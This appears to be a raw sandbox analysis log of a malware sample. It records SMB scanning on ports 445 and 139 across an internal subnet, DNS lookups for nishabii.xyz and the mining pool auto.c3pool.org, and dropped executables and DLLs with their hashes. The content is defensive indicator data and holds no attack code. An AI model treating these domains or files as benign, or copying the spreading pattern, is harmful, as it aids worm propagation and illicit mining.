N/A 10.127.0.103:445 tcp
N/A 10.127.0.102:445 tcp
N/A 10.127.0.106:445 tcp
N/A 10.127.0.105:445 tcp
N/A 10.127.0.109:445 tcp
N/A 10.127.0.107:445 tcp
N/A 10.127.0.112:445 tcp
N/A 10.127.0.110:445 tcp
N/A 10.127.0.111:445 tcp
N/A 10.127.0.41:139 tcp
N/A 10.127.0.42:139 tcp
N/A 10.127.0.39:139 tcp
N/A 10.127.0.36:139 tcp
N/A 10.127.0.40:139 tcp
N/A 10.127.0.37:139 tcp
N/A 10.127.0.34:139 tcp
N/A 10.127.0.35:139 tcp
N/A 10.127.0.38:139 tcp
N/A 10.127.0.43:139 tcp
N/A 10.127.0.45:139 tcp
N/A 10.127.0.44:139 tcp
N/A 10.127.0.113:445 tcp
N/A 10.127.0.114:445 tcp
N/A 10.127.0.116:445 tcp
N/A 10.127.0.115:445 tcp
N/A 10.127.0.117:445 tcp
N/A 10.127.0.120:445 tcp
N/A 10.127.0.118:445 tcp
N/A 10.127.0.119:445 tcp
N/A 10.127.0.49:139 tcp
N/A 10.127.0.46:139 tcp
N/A 10.127.0.48:139 tcp
N/A 10.127.0.47:139 tcp
N/A 10.127.0.52:139 tcp
N/A 10.127.0.51:139 tcp
N/A 10.127.0.50:139 tcp
N/A 10.127.0.121:445 tcp
N/A 10.127.0.53:139 tcp
N/A 10.127.0.54:139 tcp
N/A 10.127.0.122:445 tcp
N/A 10.127.0.123:445 tcp
N/A 10.127.0.125:445 tcp
N/A 10.127.0.124:445 tcp
N/A 10.127.0.55:139 tcp
N/A 10.127.0.56:139 tcp
N/A 10.127.0.57:139 tcp
N/A 10.127.0.127:445 tcp
N/A 10.127.0.126:445 tcp
N/A 10.127.0.58:139 tcp
N/A 10.127.0.59:139 tcp
N/A 10.127.0.60:139 tcp
N/A 10.127.0.130:445 tcp
N/A 10.127.0.129:445 tcp
N/A 10.127.0.128:445 tcp
N/A 10.127.0.131:445 tcp
N/A 10.127.0.132:445 tcp
N/A 10.127.0.61:139 tcp
N/A 10.127.0.62:139 tcp
N/A 10.127.0.133:445 tcp
N/A 10.127.0.63:139 tcp
N/A 10.127.0.64:139 tcp
N/A 10.127.0.65:139 tcp
N/A 10.127.0.134:445 tcp
N/A 10.127.0.136:445 tcp
N/A 10.127.0.135:445 tcp
N/A 10.127.0.66:139 tcp
N/A 10.127.0.68:139 tcp
N/A 10.127.0.67:139 tcp
N/A 10.127.0.69:139 tcp
N/A 10.127.0.137:445 tcp
N/A 10.127.0.138:445 tcp
N/A 10.127.0.140:445 tcp
N/A 10.127.0.139:445 tcp
N/A 10.127.0.141:445 tcp
N/A 10.127.0.142:445 tcp
N/A 10.127.0.72:139 tcp
N/A 10.127.0.71:139 tcp
N/A 10.127.0.73:139 tcp
N/A 10.127.0.70:139 tcp
N/A 10.127.0.143:445 tcp
N/A 10.127.0.75:139 tcp
N/A 10.127.0.74:139 tcp
N/A 10.127.0.144:445 tcp
N/A 10.127.0.145:445 tcp
N/A 10.127.0.77:139 tcp
N/A 10.127.0.76:139 tcp
N/A 10.127.0.78:139 tcp
N/A 10.127.0.146:445 tcp
N/A 10.127.0.79:139 tcp
N/A 10.127.0.148:445 tcp
N/A 10.127.0.147:445 tcp
N/A 10.127.0.149:445 tcp
N/A 10.127.0.150:445 tcp
N/A 10.127.0.80:139 tcp
N/A 10.127.0.81:139 tcp
N/A 10.127.0.82:139 tcp
N/A 10.127.0.151:445 tcp
N/A 10.127.0.153:445 tcp
N/A 10.127.0.152:445 tcp
N/A 10.127.0.83:139 tcp
N/A 10.127.0.84:139 tcp
N/A 10.127.0.156:445 tcp
N/A 10.127.0.154:445 tcp
N/A 10.127.0.155:445 tcp
N/A 10.127.0.85:139 tcp
N/A 10.127.0.86:139 tcp
N/A 10.127.0.87:139 tcp
N/A 10.127.0.157:445 tcp
N/A 10.127.0.89:139 tcp
N/A 10.127.0.88:139 tcp
N/A 10.127.0.158:445 tcp
N/A 10.127.0.159:445 tcp
N/A 10.127.0.160:445 tcp
N/A 10.127.0.91:139 tcp
N/A 10.127.0.92:139 tcp
N/A 10.127.0.90:139 tcp
N/A 10.127.0.163:445 tcp
N/A 10.127.0.164:445 tcp
N/A 10.127.0.165:445 tcp
N/A 10.127.0.162:445 tcp
N/A 10.127.0.161:445 tcp
N/A 10.127.0.94:139 tcp
N/A 10.127.0.93:139 tcp
N/A 10.127.0.96:139 tcp
N/A 10.127.0.95:139 tcp
N/A 10.127.0.166:445 tcp
N/A 10.127.0.168:445 tcp
N/A 10.127.0.167:445 tcp
N/A 10.127.0.169:445 tcp
N/A 10.127.0.97:139 tcp
N/A 10.127.0.99:139 tcp
N/A 10.127.0.98:139 tcp
N/A 10.127.0.170:445 tcp
N/A 10.127.0.100:139 tcp
N/A 10.127.0.101:139 tcp
N/A 10.127.0.172:445 tcp
N/A 10.127.0.171:445 tcp
N/A 10.127.0.104:139 tcp
N/A 10.127.0.102:139 tcp
N/A 10.127.0.103:139 tcp
N/A 10.127.0.176:445 tcp
N/A 10.127.0.175:445 tcp
N/A 10.127.0.173:445 tcp
N/A 10.127.0.174:445 tcp
N/A 10.127.0.106:139 tcp
N/A 10.127.0.105:139 tcp
N/A 10.127.0.177:445 tcp
N/A 10.127.0.109:139 tcp
N/A 10.127.0.107:139 tcp
N/A 10.127.0.179:445 tcp
N/A 10.127.0.178:445 tcp
N/A 10.127.0.112:139 tcp
N/A 10.127.0.111:139 tcp
N/A 10.127.0.110:139 tcp
N/A 10.127.0.181:445 tcp
N/A 10.127.0.180:445 tcp
N/A 10.127.0.182:445 tcp
N/A 10.127.0.114:139 tcp
N/A 10.127.0.113:139 tcp
N/A 10.127.0.184:445 tcp
N/A 10.127.0.183:445 tcp
N/A 10.127.0.186:445 tcp
N/A 10.127.0.185:445 tcp
N/A 10.127.0.187:445 tcp
N/A 10.127.0.116:139 tcp
N/A 10.127.0.115:139 tcp
N/A 10.127.0.189:445 tcp
N/A 10.127.0.188:445 tcp
N/A 10.127.0.118:139 tcp
N/A 10.127.0.119:139 tcp
N/A 10.127.0.120:139 tcp
N/A 10.127.0.117:139 tcp
N/A 10.127.0.192:445 tcp
N/A 10.127.0.190:445 tcp
N/A 10.127.0.191:445 tcp
N/A 10.127.0.121:139 tcp
N/A 10.127.0.194:445 tcp
N/A 10.127.0.193:445 tcp
N/A 10.127.0.122:139 tcp
N/A 10.127.0.125:139 tcp
N/A 10.127.0.124:139 tcp
N/A 10.127.0.123:139 tcp
N/A 10.127.0.195:445 tcp
N/A 10.127.0.196:445 tcp
N/A 10.127.0.127:139 tcp
N/A 10.127.0.126:139 tcp
N/A 10.127.0.198:445 tcp
N/A 10.127.0.197:445 tcp
N/A 10.127.0.129:139 tcp
N/A 10.127.0.130:139 tcp
N/A 10.127.0.128:139 tcp
N/A 10.127.0.199:445 tcp
N/A 10.127.0.132:139 tcp
N/A 10.127.0.131:139 tcp
N/A 10.127.0.200:445 tcp
N/A 10.127.0.201:445 tcp
N/A 10.127.0.133:139 tcp
N/A 10.127.0.202:445 tcp
N/A 10.127.0.204:445 tcp
N/A 10.127.0.203:445 tcp
N/A 10.127.0.134:139 tcp
N/A 10.127.0.205:445 tcp
N/A 10.127.0.135:139 tcp
N/A 10.127.0.136:139 tcp
N/A 10.127.0.206:445 tcp
N/A 10.127.0.207:445 tcp
N/A 10.127.0.208:445 tcp
N/A 10.127.0.140:139 tcp
N/A 10.127.0.139:139 tcp
N/A 10.127.0.138:139 tcp
N/A 10.127.0.137:139 tcp
N/A 10.127.0.209:445 tcp
N/A 10.127.0.141:139 tcp
N/A 10.127.0.142:139 tcp
N/A 10.127.0.211:445 tcp
N/A 10.127.0.210:445 tcp
N/A 10.127.0.212:445 tcp
N/A 10.127.0.143:139 tcp
N/A 10.127.0.144:139 tcp
N/A 10.127.0.213:445 tcp
N/A 10.127.0.214:445 tcp
N/A 10.127.0.145:139 tcp
N/A 10.127.0.216:445 tcp
N/A 10.127.0.215:445 tcp
N/A 10.127.0.146:139 tcp
N/A 10.127.0.147:139 tcp
N/A 10.127.0.148:139 tcp
N/A 10.127.0.149:139 tcp
N/A 10.127.0.218:445 tcp
N/A 10.127.0.217:445 tcp
N/A 10.127.0.221:445 tcp
N/A 10.127.0.220:445 tcp
N/A 10.127.0.219:445 tcp
N/A 10.127.0.150:139 tcp
N/A 10.127.0.152:139 tcp
N/A 10.127.0.153:139 tcp
N/A 10.127.0.151:139 tcp
N/A 10.127.0.222:445 tcp
N/A 10.127.0.223:445 tcp
N/A 10.127.0.224:445 tcp
N/A 10.127.0.154:139 tcp
N/A 10.127.0.155:139 tcp
N/A 10.127.0.156:139 tcp
N/A 10.127.0.157:139 tcp
N/A 10.127.0.158:139 tcp
N/A 10.127.0.159:139 tcp
N/A 10.127.0.160:139 tcp
N/A 10.127.0.163:139 tcp
N/A 10.127.0.164:139 tcp
N/A 10.127.0.161:139 tcp
N/A 10.127.0.165:139 tcp
N/A 10.127.0.162:139 tcp
N/A 10.127.0.227:445 tcp
N/A 10.127.0.229:445 tcp
N/A 10.127.0.230:445 tcp
N/A 10.127.0.226:445 tcp
N/A 10.127.0.228:445 tcp
N/A 10.127.0.231:445 tcp
N/A 10.127.0.232:445 tcp
N/A 10.127.0.234:445 tcp
N/A 10.127.0.233:445 tcp
N/A 10.127.0.235:445 tcp
N/A 10.127.0.225:445 tcp
N/A 10.127.0.236:445 tcp
N/A 10.127.0.167:139 tcp
N/A 10.127.0.166:139 tcp
N/A 10.127.0.168:139 tcp
N/A 10.127.0.169:139 tcp
N/A 10.127.0.170:139 tcp
N/A 10.127.0.171:139 tcp
N/A 10.127.0.172:139 tcp
N/A 10.127.0.239:445 tcp
N/A 10.127.0.242:445 tcp
N/A 10.127.0.240:445 tcp
N/A 10.127.0.241:445 tcp
N/A 10.127.0.244:445 tcp
N/A 10.127.0.243:445 tcp
N/A 10.127.0.238:445 tcp
N/A 10.127.0.237:445 tcp
N/A 10.127.0.173:139 tcp
N/A 10.127.0.174:139 tcp
N/A 10.127.0.175:139 tcp
N/A 10.127.0.176:139 tcp
N/A 10.127.0.245:445 tcp
N/A 10.127.0.246:445 tcp
N/A 10.127.0.177:139 tcp
N/A 10.127.0.247:445 tcp
N/A 10.127.0.250:445 tcp
N/A 10.127.0.249:445 tcp
N/A 10.127.0.248:445 tcp
N/A 10.127.0.178:139 tcp
N/A 10.127.0.179:139 tcp
N/A 10.127.0.180:139 tcp
N/A 10.127.0.181:139 tcp
N/A 10.127.0.253:445 tcp
N/A 10.127.0.252:445 tcp
N/A 10.127.0.251:445 tcp
N/A 10.127.0.182:139 tcp
N/A 10.127.0.184:139 tcp
N/A 10.127.0.183:139 tcp
N/A 10.127.0.254:445 tcp
N/A 10.127.0.186:139 tcp
N/A 10.127.0.187:139 tcp
N/A 10.127.0.185:139 tcp
N/A 10.127.0.189:139 tcp
N/A 10.127.0.188:139 tcp
N/A 10.127.0.192:139 tcp
N/A 10.127.0.191:139 tcp
N/A 10.127.0.190:139 tcp
N/A 10.127.0.193:139 tcp
N/A 10.127.0.194:139 tcp
N/A 10.127.0.195:139 tcp
N/A 10.127.0.196:139 tcp
N/A 10.127.0.197:139 tcp
N/A 10.127.0.198:139 tcp
N/A 10.127.0.199:139 tcp
N/A 10.127.0.200:139 tcp
N/A 10.127.0.201:139 tcp
N/A 10.127.0.202:139 tcp
N/A 10.127.0.203:139 tcp
N/A 10.127.0.204:139 tcp
N/A 10.127.0.205:139 tcp
N/A 10.127.0.206:139 tcp
N/A 10.127.0.207:139 tcp
N/A 10.127.0.208:139 tcp
N/A 10.127.0.209:139 tcp
N/A 10.127.0.211:139 tcp
N/A 10.127.0.210:139 tcp
N/A 10.127.0.212:139 tcp
N/A 10.127.0.214:139 tcp
N/A 10.127.0.213:139 tcp
N/A 10.127.0.216:139 tcp
N/A 10.127.0.215:139 tcp
N/A 10.127.0.218:139 tcp
N/A 10.127.0.217:139 tcp
N/A 10.127.0.219:139 tcp
N/A 10.127.0.220:139 tcp
N/A 10.127.0.221:139 tcp
N/A 10.127.0.224:139 tcp
N/A 10.127.0.222:139 tcp
N/A 10.127.0.223:139 tcp
N/A 10.127.0.227:139 tcp
N/A 10.127.0.228:139 tcp
N/A 10.127.0.231:139 tcp
N/A 10.127.0.232:139 tcp
N/A 10.127.0.230:139 tcp
N/A 10.127.0.234:139 tcp
N/A 10.127.0.229:139 tcp
N/A 10.127.0.226:139 tcp
N/A 10.127.0.235:139 tcp
N/A 10.127.0.236:139 tcp
N/A 10.127.0.233:139 tcp
N/A 10.127.0.225:139 tcp
N/A 10.127.0.240:139 tcp
N/A 10.127.0.239:139 tcp
N/A 10.127.0.241:139 tcp
N/A 10.127.0.242:139 tcp
N/A 10.127.0.244:139 tcp
N/A 10.127.0.238:139 tcp
N/A 10.127.0.237:139 tcp
N/A 10.127.0.243:139 tcp
N/A 10.127.0.246:139 tcp
N/A 10.127.0.245:139 tcp
N/A 10.127.0.247:139 tcp
N/A 10.127.0.250:139 tcp
N/A 10.127.0.249:139 tcp
N/A 10.127.0.248:139 tcp
N/A 10.127.0.251:139 tcp
N/A 10.127.0.253:139 tcp
N/A 10.127.0.252:139 tcp
N/A 10.127.0.254:139 tcp
US 8.8.8.8:53 nishabii.xyz udp
US 8.8.8.8:53 auto.c3pool.org udp
US 8.8.8.8:53 0.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 2.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 3.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 5.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 4.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 7.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 8.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 10.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 6.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 9.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 11.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 12.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 13.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 15.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 16.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 auto.c3pool.org udp
US 8.8.8.8:53 19.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 14.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 17.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 18.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 20.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 21.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 22.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 23.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 24.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 25.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 26.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 27.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 29.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 28.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 31.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 30.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 32.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 33.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 39.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 37.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 41.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 42.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 40.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 36.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 34.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 45.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 35.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 43.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 38.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 44.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 49.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 48.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 46.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 52.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 50.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 auto.c3pool.org udp
US 8.8.8.8:53 nishabii.xyz udp
US 8.8.8.8:53 auto.c3pool.org udp
US 8.8.8.8:53 53.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 54.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 55.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 57.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 59.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 47.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 51.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 56.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 58.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 60.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 62.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 63.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 65.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 61.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 64.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 69.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 66.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 68.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 67.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 72.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 70.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 71.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 73.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 74.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 75.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 76.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 77.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 78.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 79.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 82.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 80.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 81.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 83.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 84.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 88.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 85.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 86.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 89.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 87.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 91.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 92.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 90.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 94.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 95.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 93.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 96.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 97.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 98.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 99.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 100.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 nishabii.xyz udp
US 8.8.8.8:53 auto.c3pool.org udp
US 8.8.8.8:53 101.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 102.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 104.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 103.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 105.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 106.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 107.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 109.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 112.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 111.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 110.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 114.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 113.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 116.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 115.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 118.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 117.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 119.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 120.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 121.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 124.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 123.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 127.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 130.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 128.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 122.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 125.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 126.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 129.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 132.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 131.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 133.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 134.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 135.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 138.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 136.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 137.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 142.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 143.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 140.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 139.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 141.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 144.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 145.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 146.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 148.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 147.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 149.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 150.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 153.0.127.10.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

C:\ProgramData\syabcd.exe

MD5 23d84a7ed2e8e76d0a13197b74913654
SHA1 23d04ba674bafbad225243dc81ce7eccd744a35a
SHA256 ac530d542a755ecce6a656ea6309717ec222c34d7e34c61792f3b350a8a29301
SHA512 aa6b0100d477214d550b6498787190fc1a8fafa7c478f9595d45e4e76ece9888b84dcca26696500d5710a9d1acae4810f2606d8962c46d31f2bdfcdd27bd675c

memory/3868-8-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/3868-10-0x000002C216E50000-0x000002C216E64000-memory.dmp

C:\ProgramData\SMB.exe

MD5 7b2f170698522cd844e0423252ad36c1
SHA1 303ac0aaf0e9f48d4943e57d1ee6c757f2dd48c5
SHA256 5214f356f2e8640230e93a95633cd73945c38027b23e76bb5e617c71949f8994
SHA512 7155477e6988a16f6d12a0800ab72b9b9b64b97a509324ac0669cec2a4b82cd81b3481ae2c2d1ce65e73b017cebb56628d949d6195aac8f6ddd9625a80789dfa

memory/3868-132-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

C:\ProgramData\X86.dll

MD5 add9136aab87fe449fd743f6dabf606d
SHA1 d768699b71956be849ec57c57bd6a497ff5e554e
SHA256 0ac7105a7769dd9b44da268ed477fcc6828625ce2d5b1d4a9cbcfeeb5d0430da
SHA512 b1771d7f1d2a29f6a11b5128b53f80fe5260f7dfb4e17c8debb816aa34a7b79d1d5469970f1cca278149e11a3db828f8aae0510ac42ce6d90d1713a0b45c956b

C:\ProgramData\X64.dll

MD5 326d1dbf3e0dbaa378967d5ee0e1ff86
SHA1 f0748821b1c9865c288c84d0450e6db842510e90
SHA256 ee13c6a4048d95f1d48d56507ee251258d142b1533adc316bbbaff7bae2d1da6
SHA512 df17442f3571b9e43c7ecb9e82ac2050fe14c73a292911eceafd0a643690eaf9715975ecab287803192f5eaedb4b7efb46d182287abd91f19de5e55026d364bb

memory/3868-138-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/4768-141-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/3432-147-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/3432-149-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/5252-153-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/5424-156-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/5424-158-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/6524-162-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/6676-166-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/7000-170-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/6404-174-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/6572-178-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719.exe

MD5 2cf24966a6aad7b6ecffe04a20eaf3dd
SHA1 e50a4184953faeec7e40bb33f52c08d7f22a2519
SHA256 01c9940b468ce2a58f2bc52f5c8b7d0310451c994d798879ff653d92fbaf8719
SHA512 5e4eda6d61438e46c5e93b994dcda0cddcb24a0f19529605715f74c91a9ad0cf30fd592aba8111d2aaae8c340f6b2860564f6b35e871df3f362afb48aea094f1

memory/424-194-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/7048-197-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/5404-200-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/5456-204-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/4588-207-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp

memory/4588-208-0x00007FF7E50A0000-0x00007FF7E56E4000-memory.dmp